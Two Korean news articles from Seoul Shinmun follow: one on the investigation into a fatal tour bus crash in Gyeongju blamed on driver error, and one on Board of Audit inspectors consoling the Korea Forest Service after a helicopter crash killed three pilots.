    16일 오후 경북 경주시 현곡면에서 발생한 관광버스 추락사고는 운전자의 운전 미숙이 원인일 가능성이 큰 것으로 알려졌다. 경찰청 사고분석팀과 경주경찰서, 도로교통안전공단의 합동조사단은 17일 경주 관광버스 추락사고 현장에서 현장검증을 실시했다. 합동 조사단은 굴곡이 심하고 급경사인 남사재 지방도로를 내려오던 버스 운전기사 권모(56)씨가 핸들을 미처 제대로 조작하지 못해 사고가 난 것으로 추정했다. 권씨도 경찰조사에서 ‘기어 변속을 제대로 하지 못하는 바람에 운전 중 핸들조작 등에 일부 실수가 있었다.’고 진술했다. 이에 따라 경찰은 이번 사고가 운전사의 운전실수 등 과실로 발생했을 가능성이 큰 것으로 보고 사고현장 타이어 마모자국(스키드마크) 등을 집중 분석하기로 했다. 왼쪽으로 굽은 도로인 현장에 남은 타이어 마모자국은 오른쪽 바퀴에서 생긴 것으로 보이는 것이 좀 더 선명해 사고 직전 밝혀지지 않은 원인으로 운전실수가 있었던 것으로 추정됐다. 하지만 경찰 관계자는 “급경사 사고 도로에 생긴 130여m의 타이어 마모자국은 평지와 달리 실제 속도보다 길게 나타날 수 있다.”고 말했다. 경찰은 또 버스 차체의 상태를 점검하고 차체 결함 여부를 파악하기 위해 국립과학수사연구소에 정밀 감식을 의뢰하는 한편 사고 버스를 견인해 정비공장으로 옮겼다. 운전사 권씨는 1991년 사업용 자동차 운전 정밀검사에서 불합격 판정을 받은 뒤 지금까지 재검사을 받지 않았으며, 2000년 초반 음주운전으로 면허가 취소됐다가 이후 재취득했던 것으로 알려졌다. 경주시는 사고 유족 측과의 합의에 따라 18일 오전까지 황성동 경주실내체육관에 합동분향소를 설치하고 오후부터 문상객을 받기로 했다. 유족 측이 요구한 장례 절차에 따른 제반 경비는 시가 부담한다. 이달곤 행정안전부 장관도 이날 경주를 방문해 시신과 부상자가 있는 동국대경주병원과 굿모닝병원을 찾아 유가족들을 위로했다. 이 장관은 당초 시가 선거법에 저촉될 수 있다는 이유로 수용 불가 입장을 전달한 유족 측의 조문객 등을 위한 식사와 음료 제공요구를 수용하겠다고 밝혔다. 경주 김상화기자 shkim@seoul.co.kr
  • [관가 포커스] 수감기관의 아픔 함께한 감사반원들

    감사원 감사반원들이 수감기관의 아픔을 함께한 사실이 뒤늦게 알려졌다. 산림청은 지난달 2일부터 26일까지 2007년 이후 산림사업 및 행정업무 전반에 대해 감사원의 기관운영감사를 받았다. 산림청은 감사 기간인 지난달 23일 전남 영암에서 산불진화 훈련에 나섰던 헬기가 추락해 3명의 조종사가 순직하는 가슴 아픈 사고를 당했다. 산림청은 사고 수습과 장례절차로 초상집으로 돌변했다. 이런 와중에도 감사에 나선 김형원 감사원 건설환경감사국 2과장을 비롯한 감사반원들은 흔들림없이 모든 일정을 마쳤다. 산림청 직원들은 불의의 사고로 동료를 떠나보내는 날까지 감사를 받는 데 대해 불만의 목소리도 터져 나왔다. 하지만 감사반원들은 감사를 모두 마치고 대전을 떠나는 지난달 26일 산림청에 봉투 하나를 전달했다. “국립묘지 안장과 국가유공자 지정 등 합당한 보상이 조속히 이뤄질 수 있도록 함께 노력하겠다.”는 위로의 뜻과 함께 약간의 부조금이 들어 있었다. 동료 직원들의 불행으로 슬픔에 잠겨 있을 직원들을 대상으로 감사를 계속하게 된 데 대한 미안함과 유가족들에 대한 애도의 뜻을 표시한 것이다. 산림청 관계자는 “사고로 경황이 없는데도 남의 일처럼 감사를 진행한 데 대해 원망도 했었는데 그들도 우리와 마찬가지로 슬퍼했던 것 같다.”고 뒤늦게 미안해했다. 정부대전청사 박승기기자 skpark@seoul.co.kr
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